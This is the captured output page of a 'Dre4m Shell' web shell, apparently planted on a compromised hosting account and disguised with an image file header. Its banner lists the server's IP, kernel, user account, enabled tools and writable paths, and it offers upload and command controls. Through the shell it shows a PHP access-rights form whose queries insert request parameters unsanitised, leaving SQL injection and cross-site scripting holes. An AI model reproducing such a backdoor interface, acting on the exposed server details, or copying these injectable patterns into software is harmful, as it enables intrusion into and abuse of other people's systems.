ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/ODLDDD_2/seo-mailing/settings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/ODLDDD_2/seo-mailing/settings/set_permission.php
<?php
$perm_count = mysqli_fetch_array(mysqli_query($db,"SELECT count(*) FROM ".$INFO['sql_tbl_prefix']."permission_section"));
if(count($_POST)){
	$res = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."permission_section");
	if(mysqli_num_rows($res) > 0){
		while($per_section = mysqli_fetch_array($res)){
			if(array_key_exists("name".$per_section['id'], $_POST)) {
				
				$res_per = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."permission WHERE id_section = {$per_section['id']} AND id_group = {$_POST['id']} LIMIT 1");
				if(mysqli_num_rows($res_per) > 0){
					
					
					if(isset($_POST["name".$per_section['id']])){
						if(isset($_POST["name".$per_section['id']]['d'])){ $d = 1;}else{$d=0;}
						if(isset($_POST["name".$per_section['id']]['a'])){ $a = 1;}else{$a=0;}
						if(isset($_POST["name".$per_section['id']]['e'])){ $e = 1;}else{$e=0;}
						if(isset($_POST["name".$per_section['id']]['r'])){ $r = 1;}else{$r=0;}
						if(isset($_POST["name".$per_section['id']]['v'])){ $v = 1;}else{$v=0;}
					}else{
					
						$d=$a=$e=$r=$v=0;
					}
					mysqli_query($db,"UPDATE ".$INFO['sql_tbl_prefix']."permission SET d = '{$d}', a = '{$a}', e = '{$e}', r = '{$r}', v = '{$v}' WHERE id_section = {$per_section['id']} AND id_group = {$_POST['id']} LIMIT 1");
					
				}else{
					if(isset($_POST["name".$per_section['id']])){
						if(isset($_POST["name".$per_section['id']]['d'])){ $d = 1;}else{$d=0;}
						if(isset($_POST["name".$per_section['id']]['a'])){ $a = 1;}else{$a=0;}
						if(isset($_POST["name".$per_section['id']]['e'])){ $e = 1;}else{$e=0;}
						if(isset($_POST["name".$per_section['id']]['r'])){ $r = 1;}else{$r=0;}
						if(isset($_POST["name".$per_section['id']]['v'])){ $v = 1;}else{$v=0;}
					}else{
						$d=$a=$e=$r=$v=0;
					}
					mysqli_query($db,"INSERT INTO ".$INFO['sql_tbl_prefix']."permission (id, id_section, id_group, d, a, e, r,v) VALUES ('','{$per_section['id']}','{$_POST['id']}','{$d}','{$a}','{$e}','{$r}','{$v}')");
				}
			}else{
				$d=$a=$e=$r=$v=0;
				mysqli_query($db,"UPDATE ".$INFO['sql_tbl_prefix']."permission SET d = '{$d}', a = '{$a}', e = '{$e}', r = '{$r}', v = '{$v}' WHERE id_section = {$per_section['id']} AND id_group = {$_POST['id']} LIMIT 1");
			}
		}
	}
	?>
    	<script type="application/javascript">
			document.location.href="?settings&set_permission=<?php echo $_POST['id']?>";
		</script> 	
<?php }
?>
<?php $perm_group = mysqli_fetch_array(mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."user_groups WHERE id = '".$_GET['set_permission']."' LIMIT 1"));
?>
<h3><?php echo __('Access rights');?>: <?php echo $perm_group['name']?></h3> 
<form action="" method="post">
<input type="hidden" name="id" value="<?php echo $_GET['set_permission']?>">
<table class="table table-bordered table-striped">
	<thead>
    	<tr>
            <th></th>
            <th class="center span2"><?php echo __('Displaying');?></th>
            <th class="center span2"><?php echo __('Additioning');?></th>        
            <th class="center span2"><?php echo __('Editing')?></th>
            <th class="center span2"><?php echo __('Removing')?></th>           
            <th class="center  span2"><?php echo __('View only your')?></th>                        
        </tr>
    </thead>
    <tbody>
     <?php $res = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."permission_section WHERE id_group = 0");
if(mysqli_num_rows($res) > 0){
	while($per_section = mysqli_fetch_array($res)){
		$per_array = mysqli_fetch_array(mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."permission WHERE id_section = {$per_section['id']} AND id_group = {$perm_group['id']} LIMIT 1"));
		?>
<tr class="info">
            	<td><strong><?php echo $per_section['section']?></strong></td>
                <td class="center">
                <div class="switch switch-small" data-on-label="<i class='icon-ok icon-white'></i>" data-off-label="<i class='icon-remove'></i>">
	                <input type="checkbox" id="name<?php echo $per_section['id']?>d" name="name<?php echo $per_section['id']?>[d]" <?php if($per_array['d'] == 1){?> checked<?php }?>>
                    </div>
                    </td>
                <td class="center">
                <div class="switch switch-small" data-on-label="<i class='icon-ok icon-white'></i>" data-off-label="<i class='icon-remove'></i>">
                	<input type="checkbox" id="name<?php echo $per_section['id']?>a" name="name<?php echo $per_section['id']?>[a]" style="float:none" <?php if($per_array['a'] == 1){?> checked<?php }?>>
                    </div>
                    </td>
                <td class="center">
                <div class="switch switch-small" data-on-label="<i class='icon-ok icon-white'></i>" data-off-label="<i class='icon-remove'></i>">
                	<input type="checkbox" id="name<?php echo $per_section['id']?>e" name="name<?php echo $per_section['id']?>[e]" style="float:none" <?php if($per_array['e'] == 1){?> checked<?php }?>>
                    </div>
                    </td>
                <td class="center">
                <div class="switch switch-small" data-on-label="<i class='icon-ok icon-white'></i>" data-off-label="<i class='icon-remove'></i>">
                	<input type="checkbox" id="name<?php echo $per_section['id']?>r" name="name<?php echo $per_section['id']?>[r]" style="float:none" <?php if($per_array['r'] == 1){?> checked<?php }?>>
                    </div>
                    </td>
                <td class="center">
                <div class="switch switch-small" data-on-label="<i class='icon-ok icon-white'></i>" data-off-label="<i class='icon-remove'></i>">
                	<input type="checkbox" id="name<?php echo $per_section['id']?>v" name="name<?php echo $per_section['id']?>[v]" style="float:none" <?php if($per_array['v'] == 1){?> checked<?php }?>>
                    </div>
                    </td>
            </tr>
             <?php $res_sub = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."permission_section WHERE id_group = {$per_section['id']}");
if(mysqli_num_rows($res_sub) > 0){
	while($per_section_sub = mysqli_fetch_array($res_sub)){?>
          <tr>
            	<td><strong style="padding-left:15px"><?php echo $per_section_sub['section']?></strong></td>
                <td class="center">
                <div class="switch switch-small" data-on-label="<i class='icon-ok icon-white'></i>" data-off-label="<i class='icon-remove'></i>">
                	<input type="checkbox" id="name<?php echo $per_section_sub['id']?>d" name="name<?php echo $per_section_sub['id']?>[d]" <?php if($per_array['d'] == 1){?> checked<?php }?>>
                    </div>
                    </td>
                <td class="center">
                <div class="switch switch-small" data-on-label="<i class='icon-ok icon-white'></i>" data-off-label="<i class='icon-remove'></i>">
                	<input type="checkbox" id="name<?php echo $per_section_sub['id']?>a" name="name<?php echo $per_section_sub['id']?>[a]" style="float:none" <?php if($per_array['a'] == 1){?> checked<?php }?>>
                    </div>
                    </td>
                <td class="center">
                <div class="switch switch-small" data-on-label="<i class='icon-ok icon-white'></i>" data-off-label="<i class='icon-remove'></i>">
                	<input type="checkbox" id="name<?php echo $per_section_sub['id']?>e" name="name<?php echo $per_section_sub['id']?>[e]" style="float:none" <?php if($per_array['e'] == 1){?> checked<?php }?>>
                    </div>
                    </td>
                <td class="center">
                <div class="switch switch-small" data-on-label="<i class='icon-ok icon-white'></i>" data-off-label="<i class='icon-remove'></i>">
                	<input type="checkbox" id="name<?php echo $per_section_sub['id']?>r" name="name<?php echo $per_section_sub['id']?>[r]" style="float:none" <?php if($per_array['r'] == 1){?> checked<?php }?>>
                    </div>
                    </td>
                <td class="center">
                <div class="switch switch-small" data-on-label="<i class='icon-ok icon-white'></i>" data-off-label="<i class='icon-remove'></i>">
                <input type="checkbox" id="name<?php echo $per_section_sub['id']?>v" name="name<?php echo $per_section_sub['id']?>[v]" style="float:none" <?php if($per_array['v'] == 1){?> checked<?php }?>>
                </div>
                </td>
            </tr>  
     <?php }       
		}
     } 
	}?>    
	</tbody>   
    <tfoot>
    	<tr>
        	<td colspan="6">
            <button type="submit" class="btn btn-primary pull-right"><?php echo __('Save');?></button>
            </td>
        </tr>
    </tfoot>     
</table>
</form>    

Anon7 - 2022
AnonSec Team